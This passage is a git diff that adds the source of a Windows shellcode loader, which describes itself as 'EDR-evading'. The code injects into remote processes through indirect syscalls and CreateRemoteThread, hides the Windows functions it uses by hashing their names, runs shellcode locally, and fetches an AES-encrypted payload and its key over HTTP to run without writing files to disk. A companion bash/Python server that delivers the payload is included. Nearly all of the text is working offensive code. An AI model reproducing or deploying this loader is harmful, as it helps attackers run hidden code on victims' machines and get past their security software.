Log::Warn("Spawn: CreateProcessW failed (%lu)", GetLastError()); + return false; + } + + out.hProcess = pi.hProcess; + out.hThread = pi.hThread; + out.pid = pi.dwProcessId; + out.spawned = true; + + Log::Ok("Spawned headless PID %lu (%ls)", out.pid, exeName.c_str()); + return true; +} + +bool StageRemote( + TartarusGate::SyscallTable& sc, + HANDLE hProcess, + const std::vector& shellcode, + PVOID& remoteBase) +{ + Log::Banner("Remote Stage (alloc + write + protect)"); + PVOID base = nullptr; + SIZE_T region = SectionMap::PageAlign(shellcode.size()); + Log::Sys("NtAllocateVirtualMemory: Process=%p Size=%zu (page-aligned) Type=COMMIT|RESERVE Prot=PAGE_READWRITE", + hProcess, static_cast(region)); + + NTSTATUS st = sc.NtAllocateVirtualMemory( + hProcess, &base, 0, ®ion, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + Log::NtStatus("remote NtAllocateVirtualMemory", st); + + if (!NT_SUCCESS(st) || !base) { + return false; + } + Log::Sys("remote RW region base=%p size=%zu", base, static_cast(region)); + + SIZE_T written = 0; + Log::Sys("NtWriteVirtualMemory: dest=%p len=%zu", base, shellcode.size()); + st = sc.NtWriteVirtualMemory( + hProcess, base, + const_cast(static_cast(shellcode.data())), + shellcode.size(), &written); + Log::NtStatus("remote NtWriteVirtualMemory", st); + Log::Dbg("bytes written=%zu expected=%zu", static_cast(written), shellcode.size()); + + if (!NT_SUCCESS(st) || written != shellcode.size()) { + return false; + } + + ULONG old = 0; + PVOID prot = base; + SIZE_T protSize = region; + Log::Sys("NtProtectVirtualMemory: base=%p size=%zu NewProt=PAGE_EXECUTE_READ (W^X)", + base, static_cast(protSize)); + st = sc.NtProtectVirtualMemory(hProcess, &prot, &protSize, PAGE_EXECUTE_READ, &old); + Log::NtStatus("remote NtProtectVirtualMemory", st); + if (!NT_SUCCESS(st)) { + return false; + } + Log::Dbg("old protection=0x%08lX", static_cast(old)); + + remoteBase = base; + Log::Sys("Remote RX at %p (%zu bytes written)", base, static_cast(written)); + return true; +} + +bool ExecuteRemoteThread(HANDLE hProcess, PVOID entry) { + Log::Banner("Remote Execute (CreateRemoteThread)"); + auto* k32 = ApiResolver::GetKernel32(); + if (!k32) { + Log::Dbg("kernel32 base null"); + return false; + } + + using CreateRemoteThread_t = HANDLE(WINAPI*)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, + LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); + using CloseHandle_t = BOOL(WINAPI*)(HANDLE); + + auto* pCRT = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_CreateRemoteThread)); + auto* pClose = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle)); + + if (!pCRT || !pClose) { + Log::Warn("CreateRemoteThread hash resolve failed"); + return false; + } + Log::Sys("CreateRemoteThread resolved pCRT=%p process=%p start=%p", pCRT, hProcess, entry); + + DWORD tid = 0; + HANDLE hThread = pCRT(hProcess, nullptr, 0, + reinterpret_cast(entry), nullptr, 0, &tid); + + if (!hThread) { + Log::Warn("CreateRemoteThread failed (%lu)", GetLastError()); + return false; + } + + Log::Ok("Remote thread TID %lu at entry %p", tid, entry); + Log::Dbg("closing remote thread handle %p (thread continues)", hThread); + pClose(hThread); + return true; +} + +bool ResumePrimary(RemoteTarget& target) { + if (!target.spawned || !target.hThread) { + return true; + } + + auto* k32 = ApiResolver::GetKernel32(); + auto* pResume = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_ResumeThread)); + if (!pResume) { + return false; + } + + const DWORD rc = pResume(target.hThread); + Log::Sys("ResumeThread primary -> %lu", rc); + return rc != static_cast(-1); +} + +} // namespace + +bool AcquireTarget(TartarusGate::SyscallTable& sc, const std::string& target, RemoteTarget& out) { + Log::Banner("Acquire Target"); + Log::Info("raw target arg='%s'", target.c_str()); + out = {}; + + DWORD pid = 0; + if (IsNumericPid(target, pid)) { + Log::Info("Target parsed as numeric PID %lu", pid); + } else { + const std::string norm = NormalizeName(target); + Log::Dbg("normalized process name='%s'", norm.c_str()); + if (!FindPidByName(sc, norm, pid)) { + Log::Info("Process '%s' not running — spawning headless", norm.c_str()); + std::wstring wname(norm.begin(), norm.end()); + if (!SpawnHeadless(wname, out)) { + return false; + } + return true; + } + Log::Info("Target process '%s' -> PID %lu", norm.c_str(), pid); + } + + out.hProcess = OpenProcessSyscall(sc, pid); + if (!out.hProcess) { + Log::Dbg("syscall open failed — trying Win32 OpenProcess"); + out.hProcess = OpenProcessWin32(pid); + } + if (!out.hProcess) { + Log::Err("Cannot open PID %lu", pid); + return false; + } + + out.pid = pid; + out.spawned = false; + Log::Sys("AcquireTarget done: PID=%lu handle=%p", out.pid, out.hProcess); + return true; +} + +void ReleaseTarget(TartarusGate::SyscallTable& sc, RemoteTarget& target) { + if (target.hThread) { + sc.NtClose(target.hThread); + target.hThread = nullptr; + } + if (target.hProcess) { + sc.NtClose(target.hProcess); + target.hProcess = nullptr; + } +} + +bool RunRemote(TartarusGate::SyscallTable& sc, RemoteTarget& target, const std::vector& shellcode) { + if (!sc.initialized || !target.hProcess || shellcode.empty()) { + return false; + } + + PVOID remoteBase = nullptr; + if (!StageRemote(sc, target.hProcess, shellcode, remoteBase)) { + return false; + } + + Log::Sys("remote RX=%p PID=%lu technique=alloc+write+protect", remoteBase, target.pid); + + if (!ExecuteRemoteThread(target.hProcess, remoteBase)) { + return false; + } + + if (!ResumePrimary(target)) { + Log::Warn("ResumeThread failed (injection may still run)"); + } + + return true; +} + +static bool StageViaVirtualAlloc( + TartarusGate::SyscallTable& sc, + const std::vector& shellcode, + PVOID& outExec) +{ + Log::Banner("Local Stage (NtAllocateVirtualMemory W^X)"); + PVOID base = nullptr; + SIZE_T size = shellcode.size(); + Log::Sys("NtAllocateVirtualMemory: self Process size=%zu Prot=PAGE_READWRITE", + static_cast(size)); + NTSTATUS st = sc.NtAllocateVirtualMemory( + GetCurrentProcess(), &base, 0, &size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + Log::NtStatus("NtAllocateVirtualMemory", st); + if (!NT_SUCCESS(st) || !base) { + return false; + } + Log::Sys("local RW base=%p allocated=%zu", base, static_cast(size)); + + std::memcpy(base, shellcode.data(), shellcode.size()); + Log::Dbg("memcpy shellcode %zu bytes -> %p", shellcode.size(), base); + + ULONG old = 0; + PVOID prot = base; + SIZE_T protSize = size; + Log::Sys("NtProtectVirtualMemory: NewProt=PAGE_EXECUTE_READ (W^X)"); + st = sc.NtProtectVirtualMemory( + GetCurrentProcess(), &prot, &protSize, PAGE_EXECUTE_READ, &old); + Log::NtStatus("NtProtectVirtualMemory", st); + if (!NT_SUCCESS(st)) { + PVOID freeBase = base; + sc.NtFreeVirtualMemory(GetCurrentProcess(), &freeBase, &size, MEM_RELEASE); + Log::Dbg("freed failed region"); + return false; + } + Log::Dbg("old protection=0x%08lX", static_cast(old)); + + outExec = base; + return true; +} + +bool RunLocal(TartarusGate::SyscallTable& sc, const std::vector& shellcode) { + Log::Banner("RunLocal"); + Log::Info("shellcode=%zu bytes", shellcode.size()); + PVOID execMem = nullptr; + + if (StageViaVirtualAlloc(sc, shellcode, execMem)) { + Log::Sys("local RX=%p technique=NtAllocateVirtualMemory W^X", execMem); + const bool ok = SectionMap::ExecuteLocal(sc, execMem); + Log::Dbg("ExecuteLocal returned %s — freeing region", ok ? "OK" : "FAIL"); + SIZE_T freeSize = shellcode.size(); + PVOID freeBase = execMem; + NTSTATUS st = sc.NtFreeVirtualMemory(GetCurrentProcess(), &freeBase, &freeSize, MEM_RELEASE); + Log::NtStatus("NtFreeVirtualMemory", st); + return ok; + } + + Log::Dbg("VirtualAlloc path failed — fallback NtCreateSection/MapView"); + SectionMap::MappedRegion region{}; + if (!SectionMap::StageLocal(sc, shellcode, region)) { + return false; + } + + Log::Sys("local RX=%p technique=NtMapViewOfSection W^X size=%zu", + region.localView, static_cast(region.viewSize)); + const bool ok = SectionMap::ExecuteLocal(sc, region.localView); + Log::Dbg("cleanup section map (ok=%d)", ok ? 1 : 0); + SectionMap::Cleanup(sc, region, nullptr); + return ok; +} + +} // namespace Ingestion \ No newline at end of file diff --git a/loader/ingestion.hpp b/loader/ingestion.hpp new file mode 100644 index 0000000..87e1f72 --- /dev/null +++ b/loader/ingestion.hpp @@ -0,0 +1,30 @@ +#pragma once + +#include +#include +#include + +#include "../lib/syscall/tartarus_gate.hpp" + +namespace Ingestion { + +struct RemoteTarget { + HANDLE hProcess = nullptr; + HANDLE hThread = nullptr; + DWORD pid = 0; + bool spawned = false; +}; + +// Local: indirect syscall alloc RW->RX + hash-resolved CreateThread. +bool RunLocal(TartarusGate::SyscallTable& sc, const std::vector& shellcode); + +// Resolve PID by name (basename match) or numeric PID. Spawn headless if name missing. +bool AcquireTarget(TartarusGate::SyscallTable& sc, const std::string& target, RemoteTarget& out); + +void ReleaseTarget(TartarusGate::SyscallTable& sc, RemoteTarget& target); + +// Remote: NtAllocateVirtualMemory + NtWriteVirtualMemory + NtProtectVirtualMemory +// in target via Tartarus Gate + CreateRemoteThread (API hash). +bool RunRemote(TartarusGate::SyscallTable& sc, RemoteTarget& target, const std::vector& shellcode); + +} // namespace Ingestion \ No newline at end of file diff --git a/loader/loader_core.cpp b/loader/loader_core.cpp new file mode 100644 index 0000000..3c9dd4a --- /dev/null +++ b/loader/loader_core.cpp @@ -0,0 +1,269 @@ +#include "loader_core.hpp" +#include "ingestion.hpp" + +#include "../lib/crypto/aes_crypto.hpp" +#include "../lib/net/http_transport.hpp" +#include "../lib/resolve/api_resolver.hpp" +#include "../lib/common/log.hpp" + +#include +#include +#include +#include + +namespace LoaderCore { + +namespace { + TartarusGate::SyscallTable g_sc; +} + +TartarusGate::SyscallTable& GetSyscalls() { + return g_sc; +} + +bool Initialize() { + Log::Banner("Loader Init"); + Log::Info("mode=loader — Tartarus Gate + PEB module resolve"); + if (!TartarusGate::Initialize(g_sc)) { + Log::Err("Syscall init failed"); + return false; + } + Log::Sys("PEB modules: ntdll=%p kernel32=%p bcrypt=%p ws2=%p", + ApiResolver::GetNtdll(), ApiResolver::GetKernel32(), + ApiResolver::GetBcrypt(), ApiResolver::GetWs2_32()); + Log::Dbg("syscall table ready (initialized=%d)", g_sc.initialized ? 1 : 0); + return true; +} + +void Shutdown() { + Log::Dbg("Shutdown: cleaning Tartarus stubs"); + TartarusGate::CleanupStubs(); + g_sc = {}; +} + +static bool ReadFileToBuffer(const std::string& path, std::vector& out) { + Log::Dbg("ReadFile: path=%s", path.c_str()); + std::ifstream f(path, std::ios::binary | std::ios::ate); + if (!f.is_open()) { + Log::Dbg("ReadFile: open failed"); + return false; + } + out.resize(static_cast(f.tellg())); + f.seekg(0); + f.read(reinterpret_cast(out.data()), out.size()); + Log::Info("ReadFile: %zu bytes from %s", out.size(), path.c_str()); + return true; +} + +static int DispatchShellcode(const Cli::Options& opt, std::vector& shellcode) { + Log::Banner("Dispatch Shellcode"); + Log::Info("payload size=%zu remote=%s target=%s", + shellcode.size(), + opt.remoteIngestion ? "yes" : "no", + opt.processTarget.empty() ? "(local)" : opt.processTarget.c_str()); + Log::HexPreview("payload", shellcode.data(), shellcode.size()); + + if (opt.remoteIngestion) { + Log::Banner("Remote Ingestion"); + Log::Info("target=%s bytes=%zu", opt.processTarget.c_str(), shellcode.size()); + + Ingestion::RemoteTarget target{}; + if (!Ingestion::AcquireTarget(g_sc, opt.processTarget, target)) { + Log::Err("Target acquire failed: %s", opt.processTarget.c_str()); + return 7; + } + Log::Sys("target acquired: PID=%lu hProcess=%p hThread=%p spawned=%d", + target.pid, target.hProcess, target.hThread, target.spawned ? 1 : 0); + + if (!Ingestion::RunRemote(g_sc, target, shellcode)) { + Ingestion::ReleaseTarget(g_sc, target); + Log::Err("Remote injection failed (PID %lu)", target.pid); + return 9; + } + + Ingestion::ReleaseTarget(g_sc, target); + Log::Dbg("target handles closed"); + Log::Ok("Remote done — PID %lu (%zu bytes)", target.pid, shellcode.size()); + return 0; + } + + Log::Banner("Local Ingestion"); + if (!Ingestion::RunLocal(g_sc, shellcode)) { + Log::Err("Local execution failed"); + return 3; + } + + Log::Ok("Local done — %zu bytes", shellcode.size()); + return 0; +} + +int RunNormal(const Cli::Options& opt) { + if (opt.inputPath == "__selftest__") { + Log::Banner("Self-Test"); + Log::Info("checking PEB modules + AES roundtrip"); + if (!ApiResolver::GetNtdll() || !ApiResolver::GetBcrypt()) { + Log::Err("PEB module resolve failed"); + return 1; + } + Log::Sys("ntdll=%p bcrypt=%p", ApiResolver::GetNtdll(), ApiResolver::GetBcrypt()); + std::vector sample = { 0x90, 0x90, 0xC3 }; + AesCrypto::KeyMaterial km{}; + std::vector enc, dec; + if (!AesCrypto::GenerateKeyMaterial(km) || !AesCrypto::Encrypt(sample, km, enc) || + !AesCrypto::Decrypt(enc, km, dec)) { + Log::Err("AES roundtrip failed"); + return 2; + } + Log::Dbg("AES roundtrip ok: plain=%zu enc=%zu dec=%zu", sample.size(), enc.size(), dec.size()); + Log::Ok("Self-test Just for Fun :) (PEB + Tartarus + AES) -> Checks PEB walk -> Dynamic Resolution -> Retrive SSH -> Create STUB , Get Gadget"); + return 0; + } + + Log::Banner("RunNormal"); + Log::Info("input=%s remote=%s", opt.inputPath.c_str(), + opt.remoteIngestion ? opt.processTarget.c_str() : "no"); + + std::vector shellcode; + if (!ReadFileToBuffer(opt.inputPath, shellcode)) { + Log::Err("Cannot read file"); + return 2; + } + + return DispatchShellcode(opt, shellcode); +} + +int RunEncrypt(const Cli::Options& opt) { + Log::Banner("RunEncrypt"); + Log::Info("AES encrypt file=%s", opt.inputPath.c_str()); + std::wstring wpath(opt.inputPath.begin(), opt.inputPath.end()); + std::wstring encPath, keyPath; + + if (!AesCrypto::EncryptFileToDisk(wpath, encPath, keyPath)) { + Log::Err("AES encrypt failed"); + return 2; + } + + Log::Ok("Encrypted — use .enc + .key or --server --enc AES"); + Log::Info("output: .enc + .key written"); + return 0; +} + +int RunFileless(const Cli::Options& opt) { + HttpTransport::Endpoint ep{}; + if (!HttpTransport::ParseSource(opt.sourceHost, ep)) { + Log::Err("Bad --source"); + return 2; + } + + Log::Banner("Fileless Client"); + Log::Info("source host=%s port=%u aes=%s remote=%s", + ep.host.c_str(), ep.port, + opt.useAes ? "yes" : "no", + opt.remoteIngestion ? opt.processTarget.c_str() : "no"); + Log::Info("GET http://%s:%u/api/v1/payload%s", ep.host.c_str(), ep.port, + opt.useAes ? " + /api/v1/key" : ""); + + std::vector payload; + if (!HttpTransport::FetchPayload(ep, payload) || payload.empty()) { + Log::Err("Payload fetch failed"); + return 3; + } + Log::Info("payload fetched: %zu bytes", payload.size()); + Log::HexPreview("http payload", payload.data(), payload.size()); + + std::vector shellcode; + + if (opt.useAes) { + Log::Banner("Fileless AES Decrypt"); + std::vector keyBlob; + if (!HttpTransport::FetchKey(ep, keyBlob) || keyBlob.empty()) { + Log::Err("Key fetch failed"); + return 4; + } + Log::Info("key blob fetched: %zu bytes", keyBlob.size()); + + AesCrypto::KeyMaterial km{}; + if (!AesCrypto::UnpackKeyMaterial(keyBlob, km)) { + Log::Err("Key unpack failed"); + return 5; + } + Log::Dbg("key material: key=%zu iv=%zu", km.key.size(), km.iv.size()); + + if (!AesCrypto::Decrypt(payload, km, shellcode)) { + Log::Err("Decrypt failed"); + return 6; + } + + Log::Info("AES decrypt OK: cipher=%zu plain=%zu", payload.size(), shellcode.size()); + } else { + shellcode.assign(payload.begin(), payload.end()); + Log::Dbg("plain payload -> shellcode (%zu bytes)", shellcode.size()); + } + + return DispatchShellcode(opt, shellcode); +} + +int RunServer(const Cli::Options& opt) { + std::vector payload; + std::vector keyBlob; + + Log::SrvBanner("Server Prep"); + Log::Srv("input=%s aes=%s port=%u", + opt.inputPath.empty() ? "(payload.enc fallback)" : opt.inputPath.c_str(), + opt.useAes ? "yes" : "no", + opt.serverPort); + + if (!opt.inputPath.empty()) { + std::vector plain; + if (!ReadFileToBuffer(opt.inputPath, plain)) { + // ReadFile uses loader channel; mirror for server verbose + Log::Srv("failed to read server file: %s", opt.inputPath.c_str()); + Log::Err("Cannot read server file -> Check file location ;( )"); + return 2; + } + Log::Srv("loaded file: %zu bytes from %s", plain.size(), opt.inputPath.c_str()); + + if (opt.useAes) { + AesCrypto::KeyMaterial km{}; + if (!AesCrypto::GenerateKeyMaterial(km) || + !AesCrypto::Encrypt(plain, km, payload)) { + Log::Err("Server AES prep failed"); + return 4; + } + keyBlob = AesCrypto::PackKeyMaterial(km); + Log::Srv("AES prep: plain=%zu cipher=%zu keyBlob=%zu", + plain.size(), payload.size(), keyBlob.size()); + Log::Ok("Server AES mode — port %u", opt.serverPort); + } else { + payload.assign(plain.begin(), plain.end()); + Log::Srv("plain mode: serving %zu bytes", payload.size()); + Log::Ok("Server plain mode — port %u", opt.serverPort); + } + } else { + std::ifstream encFile(L"payload.enc", std::ios::binary | std::ios::ate); + if (!encFile.is_open()) { + Log::Err("No file — use: loader.exe --server "); + return 2; + } + payload.resize(static_cast(encFile.tellg())); + encFile.seekg(0); + encFile.read(reinterpret_cast(payload.data()), payload.size()); + std::ifstream keyFile(L"payload.key", std::ios::binary | std::ios::ate); + if (keyFile.is_open()) { + keyBlob.resize(static_cast(keyFile.tellg())); + keyFile.seekg(0); + keyFile.read(reinterpret_cast(keyBlob.data()), keyBlob.size()); + } + Log::Srv("fallback files: payload.enc=%zu payload.key=%zu", + payload.size(), keyBlob.size()); + } + + Log::SrvBanner("Fileless Server"); + if (!HttpTransport::RunServerMemory(opt.serverPort, payload, keyBlob, opt.server_verbose)) { + Log::Err("Server bind failed"); + return 5; + } + return 0; +} + +} // namespace LoaderCore diff --git a/loader/loader_core.hpp b/loader/loader_core.hpp new file mode 100644 index 0000000..c6813ee --- /dev/null +++ b/loader/loader_core.hpp @@ -0,0 +1,20 @@ +#pragma once + +#include "cli.hpp" +#include "../lib/syscall/tartarus_gate.hpp" + +namespace LoaderCore { + +// Global syscall table — initialized once per process. +TartarusGate::SyscallTable& GetSyscalls(); + +bool Initialize(); +void Shutdown(); + +// Mode handlers +int RunNormal(const Cli::Options& opt); +int RunEncrypt(const Cli::Options& opt); +int RunFileless(const Cli::Options& opt); +int RunServer(const Cli::Options& opt); + +} // namespace LoaderCore \ No newline at end of file diff --git a/loader/main.cpp b/loader/main.cpp new file mode 100644 index 0000000..5239666 --- /dev/null +++ b/loader/main.cpp @@ -0,0 +1,69 @@ +// loader v2.0 — modular EDR-evading shellcode loader +// lib: Manual PE parser, API hashing, Tartarus Gate indirect syscalls, +// section mapping, AES crypto, HTTP fileless transport + +#define WIN32_LEAN_AND_MEAN +#define NOMINMAX +#define _CRT_SECURE_NO_WARNINGS + +#include +#include +#include "cli.hpp" +#include "loader_core.hpp" +#include "../lib/common/log.hpp" + +int main(int argc, char* argv[]) { + SetConsoleOutputCP(CP_UTF8); + + const Cli::Options opt = Cli::Parse(argc, argv); + + // Separate channels: loader verbose dumps syscalls/injection; server verbose dumps HTTP only. + if (opt.mode == Cli::Mode::Server) { + Log::SetVerbose(false); + Log::SetServerVerbose(opt.server_verbose); + } else { + Log::SetVerbose(opt.verbose); + Log::SetServerVerbose(false); + } + + if (opt.mode == Cli::Mode::Help) { + Cli::PrintUsage(); + return 1; + } + + if (opt.mode == Cli::Mode::Banner) { + Cli::PrintBanner(); + return 0; + } + + // Server does not need Tartarus/syscall table; skip noisy init path. + if (opt.mode != Cli::Mode::Server) { + if (!LoaderCore::Initialize()) { + Log::Err("Syscall init failed"); + return 10; + } + } + + int rc = 0; + switch (opt.mode) { + case Cli::Mode::Normal: + rc = LoaderCore::RunNormal(opt); + break; + case Cli::Mode::Encrypt: + rc = LoaderCore::RunEncrypt(opt); + break; + case Cli::Mode::Fileless: + rc = LoaderCore::RunFileless(opt); + break; + case Cli::Mode::Server: + rc = LoaderCore::RunServer(opt); + break; + default: + Cli::PrintUsage(); + rc = 1; + break; + } + + LoaderCore::Shutdown(); + return rc; +} \ No newline at end of file diff --git a/server.sh b/server.sh new file mode 100644 index 0000000..a826c0f --- /dev/null +++ b/server.sh @@ -0,0 +1,65 @@ +#!/usr/bin/env bash +# Linux fileless payload server (companion to loader.exe --server on Windows) +# Usage: ./server.sh [--port 8080] [--payload file.enc] [--key file.key] + +set -euo pipefail + +PORT=8080 +PAYLOAD="payload.enc" +KEY="payload.key" + +while [[ $# -gt 0 ]]; do + case "$1" in + --port) PORT="$2"; shift 2 ;; + --payload) PAYLOAD="$2"; shift 2 ;; + --key) KEY="$2"; shift 2 ;; + --server) shift ;; + *) echo "Unknown arg: $1"; exit 1 ;; + esac +done + +if [[ ! -f "$PAYLOAD" ]]; then + echo "[!] Missing payload file: $PAYLOAD" + exit 1 +fi + +echo "[*] Linux fileless server on port $PORT" +echo "[*] Endpoints: /api/v1/payload /api/v1/key /api/v1/health" + +python3 - "$PORT" "$PAYLOAD" "$KEY" <<'PY' +import sys, os +from http.server import BaseHTTPRequestHandler, HTTPServer + +port = int(sys.argv[1]) +payload_path = sys.argv[2] +key_path = sys.argv[3] + +with open(payload_path, 'rb') as f: + payload = f.read() +key = b'' +if os.path.isfile(key_path): + with open(key_path, 'rb') as f: + key = f.read() + +class Handler(BaseHTTPRequestHandler): + def do_GET(self): + if self.path.startswith('/api/v1/payload'): + body = payload + elif self.path.startswith('/api/v1/key'): + body = key + elif self.path.startswith('/api/v1/health'): + body = b'OK' + else: + self.send_response(404) + self.end_headers() + return + self.send_response(200) + self.send_header('Content-Type', 'application/octet-stream') + self.send_header('Content-Length', str(len(body))) + self.end_headers() + self.wfile.write(body) + def log_message(self, fmt, *args): + sys.stderr.write("[server] " + (fmt % args) + "\n") + +HTTPServer(('0.0.0.0', port), Handler).serve_forever() +PY \ No newline at end of file diff --git a/tools/hash_dump.cpp b/tools/hash_dump.cpp new file mode 100644 index 0000000..b215757 --- /dev/null +++ b/tools/hash_dump.cpp @@ -0,0 +1,16 @@ +#include +#include +#include "../lib/common/hashes.hpp" + +int main() { + const char* names[] = { + "ntdll.dll", "NtAllocateVirtualMemory", "NtProtectVirtualMemory", + "NtCreateSection", "NtMapViewOfSection", "NtCreateThreadEx", + "NtQuerySystemInformation", "NtOpenProcess", "NtClose" + }; + for (auto* n : names) { + std::cout << n << " djb2=0x" << std::hex << Hashes::Djb2(n) + << " lower=0x" << Hashes::Djb2Lower(n) << std::dec << "\n"; + } + return 0; +} \ No newline at end of file